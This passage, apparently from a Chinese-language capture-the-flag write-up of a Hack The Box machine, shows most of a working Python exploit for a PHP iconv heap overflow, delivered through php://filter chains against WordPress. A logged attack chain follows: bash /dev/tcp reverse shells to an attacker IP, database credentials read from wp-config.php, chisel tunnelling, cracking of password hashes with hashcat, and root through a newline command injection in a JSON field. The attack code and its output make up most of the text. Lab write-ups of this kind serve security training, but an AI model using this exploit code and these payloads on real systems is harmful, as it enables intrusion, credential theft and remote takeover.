        chunks and leave the rest in place. That's where the difficulties come from.

        Keep in mind that we know the address of the main heap, and the libraries.
        ASLR/PIE do not matter here.

        The idea is to use the bug to make the freelist for chunks of size 0x100 point
        lower. For instance, we have the following free list:

        ... -> 0x7fffAABBCC900 -> 0x7fffAABBCCA00 -> 0x7fffAABBCCB00

        By triggering the bug from chunk ..900, we get:

        ... -> 0x7fffAABBCCA00 -> 0x7fffAABBCCB48 -> ???

        That's step 3.

        Now, in order to control the free list, and make it point whereever we want,
        we need to have previously put a pointer at address 0x7fffAABBCCB48. To do so,
        we'd have to have allocated 0x7fffAABBCCB00 and set our pointer at offset 0x48.
        That's step 2.

        Now, if we were to perform step2 an then step3 without anything else, we'd have
        a problem: after step2 has been processed, the free list goes bottom-up, like:

        0x7fffAABBCCB00 -> 0x7fffAABBCCA00 -> 0x7fffAABBCC900

        We need to go the other way around. That's why we have step 1: it just allocates
        chunks. When they get freed, they reverse the free list. Now step2 allocates in
        reverse order, and therefore after step2, chunks are in the correct order.

        Another problem comes up.

        To trigger the overflow in step3, we convert from UTF-8 to ISO-2022-CN-EXT.
        Since step2 creates chunks that contain pointers and pointers are generally not
        UTF-8, we cannot afford to have that conversion happen on the chunks of step2.
        To avoid this, we put the chunks in step2 at the very end of the chain, and
        prefix them with `0\n`. When dechunked (right before the iconv), they will
        "disappear" from the chain, preserving them from the character set conversion
        and saving us from an unwanted processing error that would stop the processing
        chain.

        After step3 we have a corrupted freelist with an arbitrary pointer into it. We
        don't know the precise layout of the heap, but we know that at the top of the
        heap resides a zend_mm_heap structure. We overwrite this structure in two ways.
        Its free_slot[] array contains a pointer to each free list. By overwriting it,
        we can make PHP allocate chunks whereever we want. In addition, its custom_heap
        field contains pointers to hook functions for emalloc, efree, and erealloc
        (similarly to malloc_hook, free_hook, etc. in the libc). We overwrite them and
        then overwrite the use_custom_heap flag to make PHP use these function pointers
        instead. We can now do our favorite CTF technique and get a call to
        system(<chunk>).
        We make sure that the "system" command kills the current process to avoid other
        system() calls with random chunk data, leading to undefined behaviour.

        The pad blocks just "pad" our allocations so that even if the heap of the
        process is in a random state, we still get contiguous, in order chunks for our
        exploit.

        Therefore, the whole process described here CANNOT crash. Everything falls
        perfectly in place, and nothing can get in the middle of our allocations.
        """

        LIBC = self.info["libc"]
        ADDR_EMALLOC = LIBC.symbols["__libc_malloc"]
        ADDR_EFREE = LIBC.symbols["__libc_system"]
        ADDR_EREALLOC = LIBC.symbols["__libc_realloc"]

        ADDR_HEAP = self.info["heap"]
        ADDR_FREE_SLOT = ADDR_HEAP + 0x20
        ADDR_CUSTOM_HEAP = ADDR_HEAP + 0x0168

        ADDR_FAKE_BIN = ADDR_FREE_SLOT - 0x10

        CS = 0x100

        # Pad needs to stay at size 0x100 at every step
        pad_size = CS - 0x18
        pad = b"\x00" * pad_size
        pad = chunked_chunk(pad, len(pad) + 6)
        pad = chunked_chunk(pad, len(pad) + 6)
        pad = chunked_chunk(pad, len(pad) + 6)
        pad = compressed_bucket(pad)

        step1_size = 1
        step1 = b"\x00" * step1_size
        step1 = chunked_chunk(step1)
        step1 = chunked_chunk(step1)
        step1 = chunked_chunk(step1, CS)
        step1 = compressed_bucket(step1)

        # Since these chunks contain non-UTF-8 chars, we cannot let it get converted to
        # ISO-2022-CN-EXT. We add a `0\n` that makes the 4th and last dechunk "crash"

        step2_size = 0x48
        step2 = b"\x00" * (step2_size + 8)
        step2 = chunked_chunk(step2, CS)
        step2 = chunked_chunk(step2)
        step2 = compressed_bucket(step2)

        step2_write_ptr = b"0\n".ljust(step2_size, b"\x00") + p64(ADDR_FAKE_BIN)
        step2_write_ptr = chunked_chunk(step2_write_ptr, CS)
        step2_write_ptr = chunked_chunk(step2_write_ptr)
        step2_write_ptr = compressed_bucket(step2_write_ptr)

        step3_size = CS

        step3 = b"\x00" * step3_size
        assert len(step3) == CS
        step3 = chunked_chunk(step3)
        step3 = chunked_chunk(step3)
        step3 = chunked_chunk(step3)
        step3 = compressed_bucket(step3)

        step3_overflow = b"\x00" * (step3_size - len(BUG)) + BUG
        assert len(step3_overflow) == CS
        step3_overflow = chunked_chunk(step3_overflow)
        step3_overflow = chunked_chunk(step3_overflow)
        step3_overflow = chunked_chunk(step3_overflow)
        step3_overflow = compressed_bucket(step3_overflow)

        step4_size = CS
        step4 = b"=00" + b"\x00" * (step4_size - 1)
        step4 = chunked_chunk(step4)
        step4 = chunked_chunk(step4)
        step4 = chunked_chunk(step4)
        step4 = compressed_bucket(step4)

        # This chunk will eventually overwrite mm_heap->free_slot
        # it is actually allocated 0x10 bytes BEFORE it, thus the two filler values
        step4_pwn = ptr_bucket(
            0x200000,
            0,
            # free_slot
            0,
            0,
            ADDR_CUSTOM_HEAP,  # 0x18
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            ADDR_HEAP,  # 0x140
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            size=CS,
        )

        step4_custom_heap = ptr_bucket(
            ADDR_EMALLOC, ADDR_EFREE, ADDR_EREALLOC, size=0x18
        )

        step4_use_custom_heap_size = 0x140

        COMMAND = self.command
        COMMAND = f"kill -9 $PPID; {COMMAND}"
        if self.sleep:
            COMMAND = f"sleep {self.sleep}; {COMMAND}"
        COMMAND = COMMAND.encode() + b"\x00"

        assert (
            len(COMMAND) <= step4_use_custom_heap_size
        ), f"Command too big ({len(COMMAND)}), it must be strictly inferior to {hex(step4_use_custom_heap_size)}"
        COMMAND = COMMAND.ljust(step4_use_custom_heap_size, b"\x00")

        step4_use_custom_heap = COMMAND
        step4_use_custom_heap = qpe(step4_use_custom_heap)
        step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
        step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
        step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
        step4_use_custom_heap = compressed_bucket(step4_use_custom_heap)

        pages = (
            step4 * 3
            + step4_pwn
            + step4_custom_heap
            + step4_use_custom_heap
            + step3_overflow
            + pad * self.pad
            + step1 * 3
            + step2_write_ptr
            + step2 * 2
        )

        resource = compress(compress(pages))
        resource = b64(resource) #b64(pages)
        resource = f"data:text/plain;base64,{resource.decode()}"

        filters = [
            # Create buckets
            "zlib.inflate",
            "zlib.inflate",

            # Step 0: Setup heap
            "dechunk",
            "convert.iconv.L1.L1",

            # Step 1: Reverse FL order
            "dechunk",
            "convert.iconv.L1.L1",

            # Step 2: Put fake pointer and make FL order back to normal
            "dechunk",
            "convert.iconv.L1.L1",

            # Step 3: Trigger overflow
            "dechunk",
            "convert.iconv.UTF-8.ISO-2022-CN-EXT",

            # Step 4: Allocate at arbitrary address and change zend_mm_heap
            "convert.quoted-printable-decode",
            "convert.iconv.L1.L1",
        ]
        filters = "|".join(filters)
        path = f"php://filter/read={filters}/resource={resource}"

        return path

    @inform("Triggering...")
    def exploit(self) -> None:
        path = self.build_exploit_path()
        start = time.time()

        try:
            msg_print("Sending exploit...")
            print(f'PATH: {path}')

            self.remote.send_exploit(path)
        except (ConnectionError, ChunkedEncodingError):
            pass

        msg_print()

        if not self.sleep:
            msg_print("    [b white on black] EXPLOIT [/][b white on green] SUCCESS [/] [i](probably)[/]")
        elif start + self.sleep <= time.time():
            msg_print("    [b white on black] EXPLOIT [/][b white on green] SUCCESS [/]")
        else:
            # Wrong heap, maybe? If the exploited suggested others, use them!
            msg_print("    [b white on black] EXPLOIT [/][b white on red] FAILURE [/]")

        msg_print()

def compress(data) -> bytes:
    """Returns data suitable for `zlib.inflate`.
    """
    # Remove 2-byte header and 4-byte checksum
    return zlib.compress(data, 9)[2:-4]

def b64(data: bytes, misalign=True) -> bytes:
    payload = base64.encode(data)
    if not misalign and payload.endswith("="):
        raise ValueError(f"Misaligned: {data}")
    return payload.encode()

def compressed_bucket(data: bytes) -> bytes:
    """Returns a chunk of size 0x8000 that, when dechunked, returns the data."""
    return chunked_chunk(data, 0x8000)

def qpe(data: bytes) -> bytes:
    """Emulates quoted-printable-encode.
    """
    return "".join(f"={x:02x}" for x in data).upper().encode()

def ptr_bucket(*ptrs, size=None) -> bytes:
    """Creates a 0x8000 chunk that reveals pointers after every step has been ran."""
    if size is not None:
        assert len(ptrs) * 8 == size
    bucket = b"".join(map(p64, ptrs))
    bucket = qpe(bucket)
    bucket = chunked_chunk(bucket)
    bucket = chunked_chunk(bucket)
    bucket = chunked_chunk(bucket)
    bucket = compressed_bucket(bucket)

    return bucket

def chunked_chunk(data: bytes, size: int = None) -> bytes:
    """Constructs a chunked representation of the given chunk. If size is given, the
    chunked representation has size `size`.
    For instance, `ABCD` with size 10 becomes: `0004\nABCD\n`.
    """
    # The caller does not care about the size: let's just add 8, which is more than
    # enough
    if size is None:
        size = len(data) + 8
    keep = len(data) + len(b"\n\n")
    size = f"{len(data):x}".rjust(size - keep, "0")
    return size.encode() + b"\n" + data + b"\n"

@dataclass
class Region:
    """A memory region."""

    start: int
    stop: int
    permissions: str
    path: str

    @property
    def size(self) -> int:
        return self.stop - self.start

Exploit()

运行脚本,成功。

~/D/b $python3 cnext-exploit.py 'http://blog.bigbang.htb/wp-admin/admin-ajax.php' 'bash -c "bash -i >& /dev/tcp/10.10.16.2/1234 0>&1"'
[*] Potential heaps: 0x7fb010000040, 0x7fb00fe00040, 0x7fb00e800040, 0x7fb00c200040,
0x7fb00be00040, 0x7fb00b400040, 0x7fb00aa00040 (using last one)
HEAP address: 0x7fb010000040
LIBC address: 0x7fb012cbc000
Sending exploit...
PATH:
php://filter/read=zlib.inflate|zlib.inflate|dechunk|convert.iconv.L1.L1|dechunk|convert
.iconv.L1.L1|dechunk|convert.iconv.L1.L1|dechunk|convert.iconv.UTF-8.ISO-2022-CN-EXT|co
nvert.quoted-printable-decode|convert.iconv.L1.L1/resource=data:text/plain;base64,e3vXu
uiJmQBbwhHZnxoPeEwXMbFds0uKb9zKtv7hkYn+j71/yuUJrD7QfyS0aOr1H/uc/vIWaPCtdPM9FcXIgBfMOLRJ
pnDq7dBXEVej32ydttN1kyN+DQxqG3XcY56WTbUK+ypWvTY1b2KOAH4NDZ46pwXDd8Yu7QvdezQue2a0ijQLfh3
LiuK37fDa6yW7Ouq39IPfO66un1wufz+/OvZXysrf2Xfn2/+Pjjc5GXFf7d/894ZKPysJuPjB/neBi6cvz52yMW
r7DfnS+O1/H1/ed+fb9V329fey3z5e+u72rvo19Xbznttf3T9P/mS9JH7j/k383X+d+8R7+zh9hf31kqv1Tb89/
/3vxwb7eb8q1v1e++576v79304+Lq3fEzO/7sXp28f//ivyvfZP65PM69P71uWr3/92vCg293fVp8d1vnn13y+W
zv29/O+3HX019+RflzL329XH/b5vF3/899knTy7Lq/dnF1VbP9x2//3v2r3rfpbdtJkXb3tvbp7E/8uCJ89L43f
pAZNpqd2rr6y+snGV6akzdb+fPvfYxk4gsA5XuhybdTGqX/eUitJL+1HFo4pHFdNZ8YEv06KSlx2PPXZ5X88ml8
4UArmcwSd/pWla1Z1Um7enNbyneGxjpLLx2SujY5Ye215y279yd+C9o/xLa76/9l/q0vKWgEaDtUvzCqdK3b+Ua
39V472OUg6BsqchU7cUWFz9mJb3e6VbZbrgR2sA

     EXPLOIT  SUCCESS

本地监听端口就可以得到shell。

~/D/b $rlwrap nc -nlvp 1234
Listening on 0.0.0.0 1234
Connection received on 10.10.11.52 56220
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@bf9a078a3627:/var/www/html/wordpress/wp-admin$ whoami
whoami
www-data

查看wp-config.php,得到数据库的地址和连接账号。

www-data@bf9a078a3627:/var/www/html/wordpress$ cat wp-config.php
...
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );

/** Database username */
define( 'DB_USER', 'wp_user' );

/** Database password */
define( 'DB_PASSWORD', 'wp_password' );

/** Database hostname */
define( 'DB_HOST', '172.17.0.1' );

/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );

/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
...

本机运行chisel的服务端。

~/D/b $/opt/chisel server --port 8080 --reverse
2025/02/01 02:53:09 server: Reverse tunnelling enabled
2025/02/01 02:53:09 server: Fingerprint /xJYb8TDhAQTGlT1KsmgRdhzDkEOwAry7lXxpvdURek=
2025/02/01 02:53:09 server: Listening on http://0.0.0.0:8080
2025/02/01 02:55:42 server: session#1: tun: proxy#R:3306=>172.17.0.1:3306: Listening

上传chisel,将172.17.0.1的3306端口转发出来。

www-data@bf9a078a3627:/tmp$ ./chisel client http://10.10.16.2:8080 R:3306:172.17.0.1:3306
<lient http://10.10.16.2:8080 R:3306:172.17.0.1:3306
2025/02/01 01:39:17 client: Connecting to ws://10.10.16.2:8080
2025/02/01 01:39:18 client: Connected (Latency 95.481094ms)

访问数据库,读取用户信息。

~/D/b $mysql -D 'wordpress' -u 'wp_user' -h 127.0.0.1 --skip-ssl -p
...
MySQL [wordpress]> show tables;
+-----------------------+
| Tables_in_wordpress   |
+-----------------------+
| wp_commentmeta        |
| wp_comments           |
| wp_links              |
| wp_options            |
| wp_postmeta           |
| wp_posts              |
| wp_term_relationships |
| wp_term_taxonomy      |
| wp_termmeta           |
| wp_terms              |
| wp_usermeta           |
| wp_users              |
+-----------------------+
...
MySQL [wordpress]> select * from wp_users;
+----+------------+------------------------------------+---------------+----------------------+-------------------------+---------------------+---------------------+-------------+-----------------+
| ID | user_login | user_pass                          | user_nicename | user_email           | user_url                | user_registered     | user_activation_key | user_status | display_name    |
+----+------------+------------------------------------+---------------+----------------------+-------------------------+---------------------+---------------------+-------------+-----------------+
|  1 | root       | $P$Beh5HLRUlTi1LpLEAstRyXaaBOJICj1 | root          | root@bigbang.htb     | http://blog.bigbang.htb | 2024-05-31 13:06:58 |                     |           0 | root            |
|  3 | shawking   | $P$Br7LUHG9NjNk6/QSYm2chNHfxWdoK./ | shawking      | shawking@bigbang.htb |                         | 2024-06-01 10:39:55 |                     |           0 | Stephen Hawking |
+----+------------+------------------------------------+---------------+----------------------+-------------------------+---------------------+---------------------+-------------+-----------------+
2 rows in set (0.092 sec)

本地破解shawking的密码,最后为quantumphysics。

hashcat -m 400 -a 0 -o wp_cracked.txt wp_hash.txt /usr/share/wordlists/rockyou.txt

使用ssh登录,发现/opt/data目录下有个敏感数据库文件,且有个本机9090端口。

-bash-5.1$ pwd
/home/shawking
-bash-5.1$ ls -la
total 40
drwxr-x--- 6 shawking shawking 4096 Jan 17 11:37 .
drwxr-xr-x 4 root     root     4096 Jun  5  2024 ..
lrwxrwxrwx 1 root     root        9 Jan 17 11:37 .bash_history -> /dev/null
-rw-r--r-- 1 shawking shawking  220 Jun  1  2024 .bash_logout
-rw-r--r-- 1 shawking shawking 3799 Jun  6  2024 .bashrc
drwx------ 2 shawking shawking 4096 Jun  1  2024 .cache
drwx------ 3 shawking shawking 4096 Jan 31 04:19 .gnupg
drwxrwxr-x 3 shawking shawking 4096 Jun  6  2024 .local
-rw-r--r-- 1 shawking shawking  807 Jun  1  2024 .profile
drwx------ 3 shawking shawking 4096 Jun  6  2024 snap
-rw-r----- 1 root     shawking   33 Jan 30 19:08 user.txt

-bash-5.1$ cd /opt/
-bash-5.1$ ls
containerd  data
-bash-5.1$ ls -la
total 16
drwxr-xr-x  4 root root 4096 Jun  5  2024 .
drwxr-xr-x 19 root root 4096 May 30  2024 ..
drwx--x--x  4 root root 4096 May 30  2024 containerd
drwxr-xr-x  6 root root 4096 Feb  1 01:38 data
-bash-5.1$ cd data
-bash-5.1$ ls -la
total 1008
drwxr-xr-x 6 root root    4096 Feb  1 01:38 .
drwxr-xr-x 4 root root    4096 Jun  5  2024 ..
drwxr--r-- 2 root root    4096 Jun  5  2024 csv
-rw-r--r-- 1 root root 1003520 Feb  1 01:38 grafana.db
drwxr--r-- 2 root root    4096 Jun  5  2024 pdf
drwxr-xr-x 2 root root    4096 Jun  5  2024 plugins
drwxr--r-- 2 root root    4096 Jun  5  2024 png
-bash-5.1$ netstat -anltp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 172.17.0.1:3306         0.0.0.0:*               LISTEN      -      
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -      
tcp        0      0 127.0.0.1:38679         0.0.0.0:*               LISTEN      -      
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -      
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -      
tcp        0      0 127.0.0.1:9090          0.0.0.0:*               LISTEN      -      
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -      
tcp        0      1 10.10.11.52:51618       8.8.8.8:53              SYN_SENT    -      
tcp        0      0 172.17.0.1:42654        172.17.0.1:3306         ESTABLISHED -      
tcp        0    412 10.10.11.52:22          10.10.16.2:57498        ESTABLISHED -      
tcp6       0      0 :::22                   :::*                    LISTEN      -      
tcp6       0      0 :::80                   :::*                    LISTEN      - 

数据库中显示有个用户为developer。

可以破解得到密码bigbang。

hashcat -m 10900 hash /usr/share/wordlists/rockyou.txt

9090端口转发出来以后,可以扫描一下。

~/D/b $nmap -sV -sC -Pn -p9090 127.0.0.1
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-01 03:06 CET
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000035s latency).

PORT     STATE SERVICE VERSION
9090/tcp open  http    Werkzeug httpd 3.0.3 (Python 3.10.12)
|_http-title: 404 Not Found
|_http-server-header: Werkzeug/3.0.3 Python/3.10.12

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 37.02 seconds

使用developer访问/login,可以得到JWT token。

~/D/b $curl -X POST -v 127.0.0.1:9090/login \
-H "Content-Type: application/json" \
-d '{"username":"developer","password":"bigbang"}'
Note: Unnecessary use of -X or --request, POST is already inferred.
*   Trying 127.0.0.1:9090...
* Connected to 127.0.0.1 (127.0.0.1) port 9090
* using HTTP/1.x
> POST /login HTTP/1.1
> Host: 127.0.0.1:9090
> User-Agent: curl/8.11.1
> Accept: */*
> Content-Type: application/json
> Content-Length: 45
>
* upload completely sent off: 45 bytes
< HTTP/1.1 200 OK
< Server: Werkzeug/3.0.3 Python/3.10.12
< Date: Sat, 01 Feb 2025 01:57:03 GMT
< Content-Type: application/json
< Content-Length: 356
< Connection: close
<
{"access_token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczODM3NTAyMywianRpIjoiNGE0ZTI1NTAtZjExYS00ZmRiLTk5ODktNmNmZWY1ZDdmZjZkIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImRldmVsb3BlciIsIm5iZiI6MTczODM3NTAyMywiY3NyZiI6ImM1NmE5MDFhLTMxMDMtNDlhYi05NTMwLWQ2NzE0NDgzMWI3ZiIsImV4cCI6MTczODM3ODYyM30.yfuJPGuMtu-DLgEU8H91TWYpeH79uQIiX8_Qkexv4xY"}
* shutting down connection #0

在靶机上建立一个rev shell的文件。

-bash-5.1$ pwd
/tmp
-bash-5.1$ cat rev.sh
#!/bin/bash
sh -i >& /dev/tcp/10.10.16.2/4444 0>&1

利用刚才得到的JWT token访问/command,执行rev shell文件。

~/D/b $curl -X POST -v 127.0.0.1:9090/command \
-H "Content-Type: application/json" \
-H "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczODM3NTI5MSwianRpIjoiMGYzYmVlYmQtMWQxZC00ODM3LWJmOTQtNDExYzc4NmMyMmY4IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImRldmVsb3BlciIsIm5iZiI6MTczODM3NTI5MSwiY3NyZiI6ImNjODNjZDczLTZjOWMtNDdiNS1hMWUwLTkyNDcyNDNkMWUxMSIsImV4cCI6MTczODM3ODg5MX0.DK7ckZkSWQM2pBFZWjAn0qzQdazc0qUwIcgoRfhJ7KE" \
-d '{"command": "send_image", "output_file": "\n/bin/bash /tmp/rev.sh"}'

Note: Unnecessary use of -X or --request, POST is already inferred.
*   Trying 127.0.0.1:9090...
* Connected to 127.0.0.1 (127.0.0.1) port 9090
* using HTTP/1.x
> POST /command HTTP/1.1
> Host: 127.0.0.1:9090
> User-Agent: curl/8.11.1
> Accept: */*
> Content-Type: application/json
> Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczODM3NTI5MSwianRpIjoiMGYzYmVlYmQtMWQxZC00ODM3LWJmOTQtNDExYzc4NmMyMmY4IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImRldmVsb3BlciIsIm5iZiI6MTczODM3NTI5MSwiY3NyZiI6ImNjODNjZDczLTZjOWMtNDdiNS1hMWUwLTkyNDcyNDNkMWUxMSIsImV4cCI6MTczODM3ODg5MX0.DK7ckZkSWQM2pBFZWjAn0qzQdazc0qUwIcgoRfhJ7KE
> Content-Length: 67
>
* upload completely sent off: 67 bytes

最后,本机监听端口可以得到root shell。

~/D/b $rlwrap nc -nlvp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.11.52 44994
sh: 0: can't access tty; job control turned off
# whoami
root
1

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注